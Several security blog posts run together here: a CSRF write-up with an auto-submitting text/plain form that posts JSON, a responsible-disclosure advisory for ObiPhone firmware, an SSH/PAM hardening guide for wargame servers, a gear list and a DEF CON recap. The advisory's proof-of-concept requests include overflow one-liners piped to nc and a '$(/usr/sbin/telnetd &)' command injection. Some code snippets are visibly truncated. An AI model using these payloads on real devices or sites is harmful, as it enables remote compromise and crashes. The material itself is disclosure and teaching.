Posting JSON with an HTML Form

A coworker and I were looking at an application today that, like so many other modern web applications, offers a RESTful API with JSON being used for serialization of requests/responses. She noted that the application didn’t include any sort of CSRF token and didn’t seem to use any of the headers (X-Requested-With, Referer, Origin, etc.) as a “poor man’s CSRF token”, but since it was posting JSON, was it really vulnerable to CSRF? Yes, yes, definitely yes!

The idea that the use of a particular encoding is a security boundary is, at worst, a completely wrong notion of security, and at best, a stopgap until W3C, browser vendors, or a clever attacker gets hold of your API. Let’s examine JSON encoding as a protection against CSRF and demonstrate a mini-PoC.

The Application

We have a basic application written in Go. Authentication checking is elided for post size, but this is not just an unauthenticated endpoint.

package main

import (

type Secrets struct {
	Secret int

var storage Secrets

func handler(w http.ResponseWriter, r *http.Request) {
	if r.Method == "POST" {
	fmt.Fprintf(w, "The secret is %d", storage.Secret)

func main() {
	http.HandleFunc("/", handler)
	http.ListenAndServe(":8080", nil)

As you can see, it basically serves a secret number that can be updated via HTTP POST of a JSON object. If we attempt a URL-encoded or multipart POST, the JSON decoding fails miserably and the secret remains unchanged. We must POST JSON in order to get the secret value changed.

Exploring Options

So let’s explore our options here. The site can locally use AJAX via the XMLHTTPRequest API, but due to the Same-Origin Policy, an attacker’s site cannot use this. For most CSRF, the way to get around this is plain HTML forms, since form submission is not subject to the Same-Origin Policy. The W3C had a draft specification for JSON forms, but that has been abandoned since late 2015, and isn’t supported in any browsers. There are probably some techniques that can make use of Flash or other browser plugins (aren’t there always?) but it can even be done with basic forms, it just takes a little work.

JSON in Forms

Normally, if we try to POST JSON as, say, a form value, it ends up being URL encoded, not to mention including the field name.

<form method='POST'>
  <input name='json' value='{"foo": "bar"}'>
  <input type='submit'>

Results in a POST body of:


Good luck decoding that as JSON!

Doing it as the form field name doesn’t get any better.


It turns out you can set the enctype of your form to text/plain and avoid the URL encoding on the form data. At this point, you’ll get something like:

json={"foo": "bar"}

Unfortunately, we still have to contend with the form field name and the separator (=). This is a simple matter of splitting our payload across both the field name and value, and sticking the equals sign in an unused field. (Or you can use it as part of your payload if you need one.)

Putting it All Together

<body onload='document.forms[0].submit()'>
  <form method='POST' enctype='text/plain'>
    <input name='{"secret": 1337, "trash": "' value='"}'>

This results in a request body of:

{"secret": 1337, "trash": "="}

This parses just fine and updates our secret!

ObiHai ObiPhone: Multiple Vulnerabilties

Note that this a duplicate of the advisory sent to the full-disclosure mailing list.


Multiple vulnerabilities were discovered in the web management interface of the ObiHai ObiPhone products. The Vulnerabilities were discovered during a black box security assessment and therefore the vulnerability list should not be considered exhaustive.

Affected Devices and Versions

ObiPhone 1032/1062 with firmware less than 5-0-0-3497.

Vulnerability Overview

Obi-1. Memory corruption leading to free() of an attacker-controlled address
Obi-2. Command injection in WiFi Config
Obi-3. Denial of Service due to buffer overflow
Obi-4. Buffer overflow in internal socket handler
Obi-5. Cross-site request forgery
Obi-6. Failure to implement RFC 2617 correctly
Obi-7. Invalid pointer dereference due to invalid header
Obi-8. Null pointer dereference due to malicious URL
Obi-9. Denial of service due to invalid content-length

Vulnerability Details

Obi-1. Memory corruption leading to free() of an attacker-controlled address

By providing a long URI (longer than 256 bytes) not containing a slash in a request, a pointer is overwritten which is later passed to free(). By controlling the location of the pointer, this would allow an attacker to affect control flow and gain control of the application. Note that the free() seems to occur during cleanup of the request, as a 404 is returned to the user before the segmentation fault.

python -c 'print "GET " + "A"*257 + " HTTP/1.1\nHost: foo"' | nc IP 80

(gdb) bt
#0  0x479d8b18 in free () from root/lib/
#1  0x00135f20 in ?? ()
(gdb) x/5i $pc
=> 0x479d8b18 <free+48>:        ldr     r3, [r0, #-4]
   0x479d8b1c <free+52>:        sub     r5, r0, #8
   0x479d8b20 <free+56>:        tst     r3, #2
   0x479d8b24 <free+60>:        bne     0x479d8bec <free+260>
   0x479d8b28 <free+64>:        tst     r3, #4
(gdb) i r r0
r0             0x41     65

Obi-2. Command injection in WiFi Config

An authenticated user (including the lower-privileged “user” user) can enter a hidden network name similar to “$(/usr/sbin/telnetd &)”, which starts the telnet daemon.

GET /wifi?checkssid=$(/usr/sbin/telnetd%20&) HTTP/1.1
Host: foo
Authorization: [omitted]

Note that telnetd is now running and accessible via user “root” with no password.

Obi-3. Denial of Service due to buffer overflow

By providing a long URI (longer than 256 bytes) beginning with a slash, memory is overwritten beyond the end of mapped memory, leading to a crash. Though no exploitable behavior was observed, it is believed that memory containing information relevant to the request or control flow is likely overwritten in the process. strcpy() appears to write past the end of the stack for the current thread, but it does not appear that there are saved link registers on the stack for the devices under test.

python -c 'print "GET /" + "A"*256 + " HTTP/1.1\nHost: foo"' | nc IP 80

(gdb) bt
#0  0x479dc440 in strcpy () from root/lib/
#1  0x001361c0 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/5i $pc
=> 0x479dc440 <strcpy+16>:      strb    r3, [r1, r2]
   0x479dc444 <strcpy+20>:      bne     0x479dc438 <strcpy+8>
   0x479dc448 <strcpy+24>:      bx      lr
   0x479dc44c <strcspn>:        push    {r4, r5, r6, lr}
   0x479dc450 <strcspn+4>:      ldrb    r3, [r0]
(gdb) i r r1 r2
r1             0xb434df01       3023363841
r2             0xff     255
(gdb) p/x $r1+$r2
$1 = 0xb434e000

Obi-4. Buffer overflow in internal socket handler

Commands to be executed by realtime backend process obid are sent via Unix domain sockets from obiapp. In formatting the message for the Unix socket, a new string is constructed on the stack. This string can overflow the static buffer, leading to control of program flow. The only vectors leading to this code that were discovered during the assessment were authenticated, however unauthenticated code paths may exist. Note that the example command can be executed as the lower-privileged “user” user.

GET /wifi?checkssid=[A*1024] HTTP/1.1
Host: foo
Authorization: [omitted]

#0  0x41414140 in ?? ()
#1  0x0006dc78 in ?? ()

Obi-5. Cross-site request forgery

All portions of the web interface appear to lack any protection against Cross-Site Request Forgery. Combined with the command injection vector in ObiPhone-3, this would allow a remote attacker to execute arbitrary shell commands on the phone, provided the current browser session was logged-in to the phone.

Obi-6. Failure to implement RFC 2617 correctly

RFC 2617 specifies HTTP digest authentication, but is not correctly implemented on the ObiPhone. The HTTP digest authentication fails to comply in the following ways:

  • The URI is not validated
  • The application does not verify that the nonce received is the one it sent
  • The application does not verify that the nc value does not repeat or go backwards

    GET / HTTP/1.1 Host: foo Authorization: Digest username=”admin”, realm=”a”, nonce=”a”, uri=”/”, algorithm=MD5, response=”309091eb609a937358a848ff817b231c”, opaque=””, qop=auth, nc=00000001, cnonce=”a” Connection: close

    HTTP/1.1 200 OK Server: OBi110 Cache-Control:must-revalidate, no-store, no-cache Content-Type: text/html Content-Length: 1108 Connection: close

Please note that the realm, nonce, cnonce, and nc values have all been chosen and the response generated offline.

Obi-7. Invalid pointer dereference due to invalid header

Sending an invalid HTTP Authorization header, such as “Authorization: foo”, causes the program to attempt to read from an invalid memory address, leading to a segmentation fault and reboot of the device. This requires no authentication, only access to the network to which the device is connected.

GET / HTTP/1.1
Host: foo
Authorization: foo

This causes the server to dereference the address 0xFFFFFFFF, presumably returned as a -1 error code.

(gdb) bt
#0  0x479dc438 in strcpy () from root/lib/
#1  0x00134ae0 in ?? ()
(gdb) x/5i $pc
=> 0x479dc438 <strcpy+8>:       ldrb    r3, [r1, #1]!
   0x479dc43c <strcpy+12>:      cmp     r3, #0
   0x479dc440 <strcpy+16>:      strb    r3, [r1, r2]
   0x479dc444 <strcpy+20>:      bne     0x479dc438 <strcpy+8>
   0x479dc448 <strcpy+24>:      bx      lr
(gdb) i r r1
r1             0xffffffff       4294967295

Obi-8. Null pointer dereference due to malicious URL

If the /obihai-xml handler is requested without any trailing slash or component, this leads to a null pointer dereference, crash, and subsequent reboot of the phone. This requires no authentication, only access to the network to which the device is connected.

GET /obihai-xml HTTP/1.1
Host: foo

(gdb) bt
#0  0x479dc7f4 in strlen () from root/lib/
Backtrace stopped: Cannot access memory at address 0x8f6
(gdb) info frame
Stack level 0, frame at 0xbef1aa50:
pc = 0x479dc7f4 in strlen; saved pc = 0x171830
Outermost frame: Cannot access memory at address 0x8f6
Arglist at 0xbef1aa50, args: 
Locals at 0xbef1aa50, Previous frame's sp is 0xbef1aa50
(gdb) x/5i $pc
=> 0x479dc7f4 <strlen+4>:       ldr     r2, [r1], #4
   0x479dc7f8 <strlen+8>:       ands    r3, r0, #3
   0x479dc7fc <strlen+12>:      rsb     r0, r3, #0
   0x479dc800 <strlen+16>:      beq     0x479dc818 <strlen+40>
   0x479dc804 <strlen+20>:      orr     r2, r2, #255    ; 0xff
(gdb) i r r1
r1             0x0      0

Obi-9. Denial of service due to invalid content-length

Content-Length headers of -1, -2, or -3 result in a crash and device reboot. This does not appear exploitable to gain execution. Larger (more negative) values return a page stating “Firmware Update Failed” though it does not appear any attempt to update the firmware with the posted data occurred.

Host: foo
Content-Length: -1


This appears to write a constant value of 0 to an address controlled by the Content-Length parameter, but since it appears to be relative to a freshly mapped page of memory (perhaps via mmap() or malloc()), it does not appear this can be used to gain control of the application.

(gdb) bt
#0  0x00138250 in HTTPD_msg_proc ()
#1  0x00070138 in ?? ()
(gdb) x/5i $pc
=> 0x138250 <HTTPD_msg_proc+396>:       strb    r1, [r3, r2]
  0x138254 <HTTPD_msg_proc+400>:       ldr     r1, [r4, #24]
  0x138258 <HTTPD_msg_proc+404>:       ldr     r0, [r4, #88]   ; 0x58
  0x13825c <HTTPD_msg_proc+408>:       bl      0x135a98
  0x138260 <HTTPD_msg_proc+412>:       ldr     r0, [r4, #88]   ; 0x58
(gdb) i r r3 r2
r3             0xafcc7000       2949410816
r2             0xffffffff       4294967295


Upgrade to Firmware 5-0-0-3497 (5.0.0 build 3497) or newer.


The issues were discovered by David Tomaschik of the Google Security Team.


  • 2016/05/12 - Reported to ObiHai
  • 2016/05/12 - Findings Acknowledged by ObiHai
  • 2016/05/20 - ObiHai reports working on patches for most issues
  • 2016/06/?? - New Firmware posted to ObiHai Website
  • 2016/08/18 - Public Disclosure

(Slightly) Securing Wargame Servers

I was setting up some wargame boxes for a private group and wanted to reduce the risk of malfeasence/abuse from these boxes. One option, used by many public wargames, is locking down the firewall. While that’s a great start, I decided to go one step further and prevent directly logging in as the wargame users, requiring that the users of my private wargames have their own accounts.

Step 1: Setup the Private Accounts

This is pretty straightforward: create a group for these users that can SSH directly in, create their accounts, and setup their public keys.

# groupadd sshusers
# useradd -G sshusers matir
# su - matir
$ mkdir -p .ssh
$ echo 'AAA...' > .ssh/authorized_keys

Step 2: Configure PAM

This will setup PAM to define who can log in from where. Edit /etc/security/access.conf to look like this:

# /etc/security/access.conf
+ : (sshusers) : ALL
+ : ALL :
- : ALL : ALL

This allows sshusers to log in from anywhere, and everyone to log in locally. This way, users allowed via SSH log in, then port forward from their machine to the wargame server to connect as a level.

Edit /etc/pam.d/sshd to use this by uncommenting (or adding) a line:

account  required nodefgroup

Step 3: Configure SSHD

Now we’ll configure SSHD to allow access as needed: passwords locally, keys only from remote hosts, and make sure we use pam. Ensure the following settings are set:

UsePAM yes

Match Host !
  PasswordAuthentication no

Step 4: Test

Restart sshd and you should be able to connect remotely as any user in sshusers, but not any other user. You should also be able to port forward and check then connect with a username/password through the forwarded port.

Matir's Favorite Things

One of my friends was recently asking me about some of the tools I use, particularly for security assessments. While I can’t give out all of these things for free Oprah-style, I did want to take a moment to share some of my favorite security- and technology-related tools, services and resources.


Lenovo T450s My primary laptop is a Lenovo T450s. For me, it’s the perfect mix of weight and processing power – configured with enough RAM, the i5-5200U has no trouble running 2 or 3 VMs at the same time, and with an internal 3-cell battery plus a 6-cell battery pack, it will go all day without an outlet. (Though not necessarily under 100% CPU load.) Though Lenovo no longer sells this, having replaced it with the T460s, it’s still available on Amazon.

Startech The USB 3.0 dual gigabit ethernet interface allows one to perform ethernet bridging or routing across it, while still having the built-in interface to connect to the internet. If you don’t have a built-in interface, it still gives you two interfaces to play with. Each interface is an ASIX AX88179 chip, and you’ll also see a VIA Labs, Inc. Hub appear when you connect it, giving some idea of how the device is implemented: a USB 3.0 hub, plus two USB 3.0 to GigE PHY chips. I haven’t benchmarked the interface (maybe I will soon) but for the cases I’ve used it for – mostly a passive MITM to observe traffic on embedded devices – it’s been much more than sufficient.

WiFi Pineapple Nano The WiFi Pineapple Nano is probably best known for its Karma trickery to impersonate other wireless networks, but this dual radio device is so much more. You can use it to connect one radio to a network and the other to share out WiFi, so you only have to pay for one connected device. In fact, you can put OpenVPN on it when doing this, so all your traffic (even on devices that don’t support a VPN, like a Kindle) is encrypted across the network. (Use WPA2 with a good passphrase on the client side if you want to have some semblance of privacy there.)

LAN Turtle The LAN Turtle is essentially a miniature ARM computer with two network interfaces. One of those interfaces is connected to a USB-to-Ethernet adapter, resulting in the entire device looking like an oversized USB-to-Ethernet adapter. You can plug this inline to a computer via USB and have an active MITM on the network, all powered from the USB port it’s plugged into. This is a stealthy drop box for access on an assessment. (I haven’t tried, but I imagine you can power it from a wall-wart and just plug in the wired interface if all if you need is a single network connection.) My biggest complaint about this device is that it, like all of the Hak5 hardware, is really not that open. I haven’t been able to build my own firmware for it, which I’d like to do, rather than just using the packages available in the default LAN Turtle firmware.

ALFA WiFi Adapter The ALFA AWUS036NH WiFi Adapter is the 802.11b/g/n version of the popular ALFA WiFi radios. It can go up to 2000 mW, but the legal limit in the USA is 1000 mW (30 dBm), and even at that power, you’re driving further than you can hear with most antennas. I like this package because it comes with a high-gain 7 dBi panel antenna and a suction cup mount, allowing you to place the adapter in the optimal position. Just in case that’s not enough, you can get a 13 dBi yagi to extend both your transmit and receive range even further. Great for demonstrating that a client can’t depend on physical distance to protect their wireless network.


Oh man, I could go on for a while on books… I’m going to try to focus on just the highlights.

Stealing the Network There’s a number of books containing collections of anecdotes and stories that help to develop an attacker mindset, where you begin to think and understand as attackers do, preparing you to see things in a different light:

RTFM For Assessments, Penetration Testing, and other Offensive Security practices, there’s a huge variety of resources. While books do tend to become outdated quickly in this industry, the fundamentals don’t change that often, and it’s important to understand the fundamentals before moving on to the more advanced topics of discussion. While I strongly prefer eBooks (they’re lighter, go with me everywhere, and can be searched easily), one of my coworkers swears by the printed material – take your pick and do whatever works for you.

I’m not much of a blue teamer, so I’m hard pressed to suggest the “must have” books for that side of the house.


I have to start with DigitalOcean. Not only is this blog hosted on one of their VPS, but I do a lot of my testing and research on their VPSs. Whenever I need a quick VM, I can spin one up there for under 1 cent per hour. I’ve had nearly perfect uptime (my own stupidity outweighs their outages at least 10 to 1) and on the rare occasion I’ve needed their support, it’s been absolutely first rate. DigitalOcean started off for developers, but they offer a great production-quality product for almost any use.


This is the 3rd, and final, post in my Hacker Summer Camp 2016 series. Part 1 covered my class at Black Hat, and Part 2 the 2016 BSidesLV Pros versus Joes CTF. Now it’s time to talk about the capstone of the week: DEF CON.

DEF CON is the world’s largest (but not oldest) Hacker conference. This year was the biggest yet, with Dark Tangent stating that they produced 22,000 lanyards – and ran out of lanyards. That’s a lot of attendees. It covered both the Paris and Bally’s conference areas, and that still didn’t feel like enough.

DEF CON is also what I measure my year by. You can have your New Year’s, I measure mine from August to August (though apparently next year it’ll be the end of July…). Probably the single biggest regret in my life is that I didn’t find a way to go to DEF CON before DEF CON 20. The people and experiences there are memorable and well worth it.


I don’t talk about it a whole lot, but I actually have pretty bad social anxiety. I do a terrible job of talking with people I don’t know, introducing myself to people, etc. At most events, I’m what you would call a “wallflower”. That doesn’t combine very well with 22,000 people. That especially doesn’t combine well with the chokepoints in a number of places, especially the packet capture village. It was hard to get through the week, but I told myself I wasn’t going to let my social anxiety ruin my con, and I think I did a good job of that.

Capture the Packet

So, since DEF CON 21, I’ve always played in Capture the Packet. At DC22, I even managed a 2nd place overall finish (just one spot away from the coveted black Uber badge). This year, I went back to play and discovered major changes:

  • Rounds are now two hours instead of 1.
  • There is now a qualifying round, semifinals, and finals.
  • They’re really pulling out the obscure protocols.
  • Significantly lower submit attempt limits (like 1-2 in most questions).

On the other hand, they had serious gameplay issues that really makes me regret spending so much of my con this year on Capture the Packet. These include:

  • Every round started late. The finals were supposed to start at 10:00 on Sunday, they started at 12:30. That was two and a half hours of sitting there waiting.
  • There were many answers where the answer in the database contained typos.
  • There were many answers where the question contained typos that made it difficult or impossible to find the traffic (wrong IP, wrong MAC, etc.)
  • There were many questions that were very poorly phrased. It was nearly impossible to parse some of the questions. One question asked for the “last three hex” of a value, but it wasn’t clear: last 3 bytes in hex format, last 3 hex characters, etc.

Combining the problems with questions and the lowered submission limits, it meant that several times we were locked out of questions just because it wasn’t clear what format the answer should be or how much data they wanted. The organizers clearly need to:

  • Increase the limits. (I’m not asking for unlimited tries, but on text answers, give us at least 3-5.)
  • Build some sort of fuzzy matching (case insensitive, automatically strip whitespace leading/trailing, etc.)
  • Write questions more clearly.

I’m actually amazed that Aries Security is able to sell CTP as a commercial offering for training to government and companies. It’s a wonderful concept and they try hard, but I’m so disappointed in the outcome. I spent ~12 hours sitting in the CTP area, but only 6 of those were actually playing. The other 6 were waiting for games to start, and then the games were disheartening when they didn’t work correctly. I’ll probably play again next year, but I really hope they’ve put some polish on the game by then.


As usual, DEF CON had a variety of parties to choose from. Most importantly, I got my hit of Dual Core in at the Friday night EDM night, and spent a little bit of time at the Queercon pool party. (Though it was too hot and humid to spend much time by the pool unless you were in the pool, and I’m not someone anyone wants in the pool…)

Dual Core nailing it Friday night

Just keeping track of all of the parties has become a major task, but the DCP guys have you covered there. I’d love to see some more parties that are a little more “chill”: less loud music, more just hanging out and having a drink with friends. (Or maybe I was just at all the wrong ones this year.)

Next Year

I can’t wait for next year – DEF CON 25 promises to be big, and we’re moving over to Caesars (2 years is all we got out of Bally’s/Paris). I’m trying to come up with ideas of how I can make my own personal DEF CON 25 bigger and better, without ripping off ideas like the AND!XOR badge, but I want to do something cool. Suggestions to @Matir or find my email if you know me. :) Hopefully I’ll see all of you, my hacker friends, out in Las Vegas for another fun Hacker Summer Camp.